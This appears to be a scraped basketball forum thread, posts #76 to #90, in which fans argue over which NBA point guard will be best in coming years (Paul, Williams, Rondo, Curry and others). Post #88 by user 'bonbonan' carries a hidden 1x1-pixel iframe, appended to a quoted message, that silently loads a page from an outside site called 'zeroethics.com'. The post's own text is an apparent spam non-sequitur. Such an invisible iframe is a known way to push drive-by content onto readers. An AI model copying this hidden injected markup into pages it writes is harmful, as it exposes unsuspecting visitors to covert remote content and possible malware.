Who Will Be The Best POINT GUARD In The Next 5-10 Years?

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  • DieHardYankee26
    BING BONG
    • Feb 2008
    • 10178

    #76
    Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

    Originally posted by ParisB
    Deron
    Paul
    Nash
    Billups
    Parker
    Kidd
    Nelson
    Roy
    Harris
    Westbrook
    Evans
    Brooks
    Jennings
    No D-Rose? And who is Roy? Brandon Roy is a shooting guard isn't he?
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    • ParisB
      MVP
      • Jan 2010
      • 1699

      #77
      Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

      Originally posted by DieHardYankee26
      No D-Rose? And who is Roy? Brandon Roy is a shooting guard isn't he?
      I completely forgot Rose. Just another better PG to add to the list.

      Roy is listed as a SG, but i think of him as a PG because he regularly runs the point position and bring the ball up to initiate the offense.

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      • Eman5805
        MVP
        • Mar 2009
        • 3545

        #78
        Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

        Originally posted by ParisB
        Yea, but looking at them individually, Deron has the same skillset but is a better shooter, defender, and more physically dominant.
        I'll give you the physically dominant(whatever that matters for a PG), but better shooter?

        Looking at the last healthy season CP3 had vs D-Will last healthy season(i.e, they're best seasons):

        Chris Paul (08-09)
        50.3% FG
        36.4% 3ptFG
        86.8% FT


        Deron Williams (09-10)
        47.1% FG
        37.1% 3ptFG
        80.1% FT


        Williams only has CP3 on 3pt percentage, and just barely.

        I don't know where people got that myth from that D-Will's a better shooter. And CP3's come dangerously close to a quadrple double TWICE in the past, one of the categories being steals. I can't confirm, but I doubt I've ever seen Williams get more than five steals in a game.

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        • z4ckdabeast
          Rookie
          • Jan 2010
          • 428

          #79
          Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

          Originally posted by ParisB
          Roy is listed as a SG, but i think of him as a PG because he regularly runs the point position and bring the ball up to initiate the offense.
          Might as well put LeBron, Joe Johnson, and Wade on their as well by that reasoning. And really, Andre Miller is the Blazer's point guard.

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          • PhantomPain
            MVP
            • Jan 2003
            • 3512

            #80
            Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

            Originally posted by ParisB
            Rondo was CLEARLY the weak link on that Boston team, depsite the end result stats in the boxscore. That is where most guys' problem is, they look at stats. As I've said before, Amare is garbage too but puts up phenominal numbers. The guy doesn't play defense, has no post up game, and barely gets 6 rebounds per game despite Phoenix's high octane offense with lots of opportunities. He can't be Phoenix's best player because he wasn't even on the court during Game 6 against LA when Artest hit the game winner. Why? Because Phoenix needed a defensive stop, lol.

            How can you say Rondo is awesome when he doesn't even need to be guarded even 12 feet away from the basket? He made the Lakers' defense (which is already elite) to focus on 3 guys. That's why LAL was able to hold Boston to 88ppg during the series. Perkins can't score, and neither can Rondo. Imagine if any of the below listed guards were on Boston, they would be punishing LA if they were left that wide open, and they all have the same ability to penetrate (which is what PG's do). Considering how much Rondo has the ball, of course he's going to rack up assists. Most of the guys below also would (some already do) if they played in Boston's offense of finding Allen off screens or Pierce/KG all day long. Westbrook is a more dangerous player.

            Deron
            Paul
            Nash
            Billups
            Rose
            Parker
            Kidd
            Nelson
            Roy
            Harris
            Westbrook
            Evans
            Brooks
            Jennings
            I am not here to debate that Rondo will be the best PG in the NBA 5-10 years from now, as I personally don't think he will be.

            With that said, your argument is flawed. All you basically did was list guys that can shoot better than him from the field and from the free throw line. Rondo is an ELITE athlete, defender, rebounder (for PG), passer, and hustler. Just because he isn't even an adequate shooter, doesn't mean squat when he can do SO many other things better than most at his position. Do you honestly believe that all those guys listed are better than Rondo at everything? I sure hope not. Just because he can't shoot, doesn't mean he doesn't get defended nor does it mean that other teams don't have a gameplan to contain him.

            IMO if you think Rondo isn't at least a Top 5-6 pg in the NBA, then you either have something personal against him or you just don't know basketball.
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            • ParisB
              MVP
              • Jan 2010
              • 1699

              #81
              Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

              Originally posted by PhantomPain
              I am not here to debate that Rondo will be the best PG in the NBA 5-10 years from now, as I personally don't think he will be.

              With that said, your argument is flawed. All you basically did was list guys that can shoot better than him from the field and from the free throw line. Rondo is an ELITE athlete, defender, rebounder (for PG), passer, and hustler. Just because he isn't even an adequate shooter, doesn't mean squat when he can do SO many other things better than most at his position. Do you honestly believe that all those guys listed are better than Rondo at everything? I sure hope not. Just because he can't shoot, doesn't mean he doesn't get defended nor does it mean that other teams don't have a gameplan to contain him.

              IMO if you think Rondo isn't at least a Top 5-6 pg in the NBA, then you either have something personal against him or you just don't know basketball.
              He's definitely not top 5 from my list, I'd take any of those guys before him without doubt. Once you get to top 10 it's debatable though, I'll give you that.

              Rondo isn't even good in half court sets. If Boston isn't running, he's useless. Boston struggled mightily when the pace was too slow, and it all started with their PG and his inability to hurt the defense.

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              • tpe14
                Rookie
                • Apr 2010
                • 491

                #82
                Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                Originally posted by PhantomPain
                I am not here to debate that Rondo will be the best PG in the NBA 5-10 years from now, as I personally don't think he will be.

                With that said, your argument is flawed. All you basically did was list guys that can shoot better than him from the field and from the free throw line. Rondo is an ELITE athlete, defender, rebounder (for PG), passer, and hustler. Just because he isn't even an adequate shooter, doesn't mean squat when he can do SO many other things better than most at his position. Do you honestly believe that all those guys listed are better than Rondo at everything? I sure hope not. Just because he can't shoot, doesn't mean he doesn't get defended nor does it mean that other teams don't have a gameplan to contain him.

                IMO if you think Rondo isn't at least a Top 5-6 pg in the NBA, then you either have something personal against him or you just don't know basketball.
                Very well explained. I agree with you 1000%
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                • iRepOklahoma
                  Pro
                  • May 2006
                  • 687

                  #83
                  Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                  Originally posted by bonbonan
                  Very hard for him to become best point guard! lol
                  in 5 to 10 years? Not really... he'd be 23... 2 yrs older than Derrick Rose is right now

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                  • PhantomPain
                    MVP
                    • Jan 2003
                    • 3512

                    #84
                    Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                    Originally posted by iRepOklahoma
                    in 5 to 10 years? Not really... he'd be 23... 2 yrs older than Derrick Rose is right now
                    In which case he would have to be so talented that he could surpass (most likely) multiple All Stars Wall, Rose, etc. even with their 10+ years experience with what, 2-3 years experience.

                    Yes, it will be VERY hard for him to become the best pg in 10 years...15? Yes, it's feasible (given he is that good, and by that good, I mean FREAKING INCREDIBLE).
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                    • st0rmb11
                      All Star
                      • Nov 2008
                      • 5167

                      #85
                      Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                      I really find it hard to even bring up a 12 or 13 or whatever year old in this conversation when we already have a large amount of talent already IN THE LEAGUE that are between 19 and 23.

                      When the kid gets to college, then maybe bring him up, but until then....be realistic. He may not even be interested in basketball by the time he's 20. Think about how much he's probably been forced to work on his game in his young life. He may just grow sick of it and stop playing to defy his parents. (I don't know the kid personally, so I can't speak on his behalf, but I have seen it happen before)

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                      • fluent2332
                        MVP
                        • Aug 2005
                        • 1735

                        #86
                        Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                        Stephen Curry

                        He has the handle, shooting range, creativeness, quick release, mental quickness, and he plays hard. He's basically the perfect PG sans great athletic ability, but he's athletic in his own way in that he can get to his spots. I also think the NBA is geared more towards that type of player/PG.

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                        • st0rmb11
                          All Star
                          • Nov 2008
                          • 5167

                          #87
                          Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                          Originally posted by fluent2332
                          Stephen Curry

                          He has the handle, shooting range, creativeness, quick release, mental quickness, and he plays hard. He's basically the perfect PG sans great athletic ability, but he's athletic in his own way in that he can get to his spots. I also think the NBA is geared more towards that type of player/PG.

                          That's who I picked back on page 1. Nice to see some love for him!

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                          • bonbonan
                            Rookie
                            • May 2010
                            • 316

                            #88
                            Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                            Originally posted by st0rmb11
                            I really find it hard to even bring up a 12 or 13 or whatever year old in this conversation when we already have a large amount of talent already IN THE LEAGUE that are between 19 and 23.

                            When the kid gets to college, then maybe bring him up, but until then....be realistic. He may not even be interested in basketball by the time he's 20. Think about how much he's probably been forced to work on his game in his young life. He may just grow sick of it and stop playing to defy his parents. (I don't know the kid personally, so I can't speak on his behalf, but I have seen it happen before)<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>
                            Nice.
                            He just don't have the Super Star face there.

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                            • st0rmb11
                              All Star
                              • Nov 2008
                              • 5167

                              #89
                              Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                              Originally posted by bonbonan
                              Nice.
                              He just don't have the Super Star face there.

                              what?

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                              • Playmakers
                                Hall Of Fame
                                • Sep 2004
                                • 15409

                                #90
                                Re: Who Will Be The Best POINT GUARD In The Next 5-10 Years?

                                I can't believe not a single person showed any love for Roddy Buckets

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